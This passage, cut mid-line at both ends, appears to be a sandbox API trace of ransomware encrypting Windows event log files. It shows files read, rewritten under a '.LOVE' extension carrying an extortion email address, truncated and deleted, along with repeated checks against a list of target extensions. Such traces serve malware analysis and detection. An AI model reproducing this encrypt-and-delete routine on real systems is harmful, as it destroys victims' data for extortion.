"c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x348 [0205.514] GetLastError () returned 0x0 [0205.514] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0205.674] WriteFile (in: hFile=0x348, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0205.923] ReadFile (in: hFile=0x2f0, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0205.923] WriteFile (in: hFile=0x348, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x132, lpOverlapped=0x0) returned 1 [0205.923] SetEndOfFile (hFile=0x348) returned 1 [0205.923] CloseHandle (hObject=0x348) returned 1 [0205.924] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0205.924] SetEndOfFile (hFile=0x2f0) returned 1 [0205.929] CloseHandle (hObject=0x2f0) returned 1 [0205.929] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0205.929] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx")) returned 1 [0205.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.929] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.929] lstrlenW (lpString=".doc") returned 4 [0205.929] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.929] lstrlenW (lpString=".docx") returned 5 [0205.930] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.930] lstrlenW (lpString=".pdf") returned 4 [0205.930] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.930] lstrlenW (lpString=".xls") returned 4 [0205.930] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.930] lstrlenW (lpString=".xlsx") returned 5 [0205.930] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.930] lstrlenW (lpString=".ppt") returned 4 [0205.930] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.931] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.931] lstrlenW (lpString=".zip") returned 4 [0205.931] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.932] lstrlenW (lpString=".rar") returned 4 [0205.932] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.932] lstrlenW (lpString=".bz2") returned 4 [0205.932] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.932] lstrlenW (lpString=".7z") returned 3 [0205.932] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.932] lstrlenW (lpString=".dbf") returned 4 [0205.932] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.932] lstrlenW (lpString=".1cd") returned 4 [0205.932] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.932] lstrlenW (lpString=".jpg") returned 4 [0205.932] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.932] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.932] lstrlenW (lpString=".doc") returned 4 [0205.932] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0205.932] lstrlenW (lpString=".docx") returned 5 [0205.932] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0205.932] lstrlenW (lpString=".pdf") returned 4 [0205.932] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0205.932] lstrlenW (lpString=".xls") returned 4 [0205.932] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0205.933] lstrlenW (lpString=".xlsx") returned 5 [0205.933] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0205.933] lstrlenW (lpString=".ppt") returned 4 [0205.933] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0205.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.933] lstrlenW (lpString=".zip") returned 4 [0205.933] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0205.933] lstrlenW (lpString=".rar") returned 4 [0205.933] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0205.933] lstrlenW (lpString=".bz2") returned 4 [0205.933] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0205.933] lstrlenW (lpString=".7z") returned 3 [0205.933] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0205.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.933] lstrlenW (lpString=".dbf") returned 4 [0205.933] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0205.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.933] lstrlenW (lpString=".1cd") returned 4 [0205.933] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0205.933] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx") returned 55 [0205.933] lstrlenW (lpString=".jpg") returned 4 [0205.933] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0205.934] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0205.934] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 42 [0205.934] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.000] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.000] CloseHandle (hObject=0x330) returned 1 [0206.000] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 0x20 [0206.000] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.000] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0206.000] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.000] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.000] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.001] GetLastError () returned 0x0 [0206.001] ReadFile (in: hFile=0x330, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.016] WriteFile (in: hFile=0x354, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.018] ReadFile (in: hFile=0x330, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.018] WriteFile (in: hFile=0x354, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x128, lpOverlapped=0x0) returned 1 [0206.018] SetEndOfFile (hFile=0x354) returned 1 [0206.018] CloseHandle (hObject=0x354) returned 1 [0206.019] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.019] SetEndOfFile (hFile=0x330) returned 1 [0206.021] CloseHandle (hObject=0x330) returned 1 [0206.021] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.021] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4errors.evtx")) returned 1 [0206.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.022] lstrlenW (lpString=".doc") returned 4 [0206.022] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.022] lstrlenW (lpString=".docx") returned 5 [0206.022] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.022] lstrlenW (lpString=".pdf") returned 4 [0206.022] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.022] lstrlenW (lpString=".xls") returned 4 [0206.022] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.022] lstrlenW (lpString=".xlsx") returned 5 [0206.022] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.022] lstrlenW (lpString=".ppt") returned 4 [0206.022] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.022] lstrlenW (lpString=".zip") returned 4 [0206.022] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.022] lstrlenW (lpString=".rar") returned 4 [0206.022] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.022] lstrlenW (lpString=".bz2") returned 4 [0206.022] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.022] lstrlenW (lpString=".7z") returned 3 [0206.022] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.022] lstrlenW (lpString=".dbf") returned 4 [0206.022] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.022] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.023] lstrlenW (lpString=".1cd") returned 4 [0206.023] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.023] lstrlenW (lpString=".jpg") returned 4 [0206.023] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.023] lstrlenW (lpString=".doc") returned 4 [0206.023] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString=".docx") returned 5 [0206.023] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.023] lstrlenW (lpString=".pdf") returned 4 [0206.023] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString=".xls") returned 4 [0206.023] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString=".xlsx") returned 5 [0206.023] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.023] lstrlenW (lpString=".ppt") returned 4 [0206.023] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.023] lstrlenW (lpString=".zip") returned 4 [0206.023] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString=".rar") returned 4 [0206.023] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString=".bz2") returned 4 [0206.023] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.023] lstrlenW (lpString=".7z") returned 3 [0206.023] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.023] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.023] lstrlenW (lpString=".dbf") returned 4 [0206.024] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.024] lstrlenW (lpString=".1cd") returned 4 [0206.024] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.024] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Errors.evtx") returned 50 [0206.024] lstrlenW (lpString=".jpg") returned 4 [0206.024] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.024] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.024] lstrlenW (lpString="Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 47 [0206.024] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.029] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.029] CloseHandle (hObject=0x354) returned 1 [0206.030] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 0x20 [0206.030] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.030] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.030] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.030] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.030] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.030] GetLastError () returned 0x0 [0206.030] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.147] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.149] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.149] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x132, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x132, lpOverlapped=0x0) returned 1 [0206.149] SetEndOfFile (hFile=0x368) returned 1 [0206.149] CloseHandle (hObject=0x368) returned 1 [0206.150] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.150] SetEndOfFile (hFile=0x354) returned 1 [0206.151] CloseHandle (hObject=0x354) returned 1 [0206.152] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE", dwFileAttributes=0x20) returned 1 [0206.152] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-whea%4operational.evtx")) returned 1 [0206.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.152] lstrlenW (lpString=".doc") returned 4 [0206.152] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.152] lstrlenW (lpString=".docx") returned 5 [0206.152] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.152] lstrlenW (lpString=".pdf") returned 4 [0206.152] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.152] lstrlenW (lpString=".xls") returned 4 [0206.152] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.152] lstrlenW (lpString=".xlsx") returned 5 [0206.152] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.152] lstrlenW (lpString=".ppt") returned 4 [0206.152] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.152] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.152] lstrlenW (lpString=".zip") returned 4 [0206.153] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString=".rar") returned 4 [0206.153] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString=".bz2") returned 4 [0206.153] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString=".7z") returned 3 [0206.153] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.153] lstrlenW (lpString=".dbf") returned 4 [0206.153] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.153] lstrlenW (lpString=".1cd") returned 4 [0206.153] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.153] lstrlenW (lpString=".jpg") returned 4 [0206.153] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.153] lstrlenW (lpString=".doc") returned 4 [0206.153] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString=".docx") returned 5 [0206.153] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0206.153] lstrlenW (lpString=".pdf") returned 4 [0206.153] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString=".xls") returned 4 [0206.153] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString=".xlsx") returned 5 [0206.153] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0206.153] lstrlenW (lpString=".ppt") returned 4 [0206.153] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.153] lstrlenW (lpString=".zip") returned 4 [0206.153] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString=".rar") returned 4 [0206.153] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0206.153] lstrlenW (lpString=".bz2") returned 4 [0206.154] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0206.154] lstrlenW (lpString=".7z") returned 3 [0206.154] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0206.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.154] lstrlenW (lpString=".dbf") returned 4 [0206.154] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0206.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.154] lstrlenW (lpString=".1cd") returned 4 [0206.154] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0206.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Kernel-WHEA%4Operational.evtx") returned 55 [0206.154] lstrlenW (lpString=".jpg") returned 4 [0206.154] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0206.154] lstrcmpiW (lpString1=".evtx", lpString2=".LOVE") returned -1 [0206.154] lstrlenW (lpString="Microsoft-Windows-Known Folders API Service.evtx") returned 48 [0206.154] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.154] GetFileSizeEx (in: hFile=0x354, lpFileSize=0x315ff14 | out: lpFileSize=0x315ff14*=69632) returned 1 [0206.154] CloseHandle (hObject=0x354) returned 1 [0206.154] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx")) returned 0x20 [0206.154] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[seeyoubro@tutanota.com].love")) returned 0xffffffff [0206.154] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0206.155] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.155] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.155] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API Service.evtx.id-B4197730.[seeyoubro@tutanota.com].LOVE" (normalized: "c:\\logs\\microsoft-windows-known folders api service.evtx.id-b4197730.[seeyoubro@tutanota.com].love"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0206.155] GetLastError () returned 0x0 [0206.155] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x11000, lpOverlapped=0x0) returned 1 [0206.186] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x11010, lpOverlapped=0x0) returned 1 [0206.188] ReadFile (in: hFile=0x354, lpBuffer=0x3e68020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesRead=0x315fecc*=0x0, lpOverlapped=0x0) returned 1 [0206.188] WriteFile (in: hFile=0x368, lpBuffer=0x3e68020*, nNumberOfBytesToWrite=0x134, lpNumberOfBytesWritten=0x315fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e68020*, lpNumberOfBytesWritten=0x315fc94*=0x134, lpOverlapped=0x0) returned 1 [0206.188] SetEndOfFile (hFile=0x368) returned 1 [0206.188] CloseHandle (hObject=0x368) returned 1 [0206.189] SetFilePointerEx (in: hFile=0x354, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec0 | out: lpNewFilePointer=0x0) returned 1 [0206.189] SetEndOfFile (hFile=0x354) returned 1 [0206.203] CloseHandle (hObject=0x354) returned 1 [0206.203] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Known Folders API 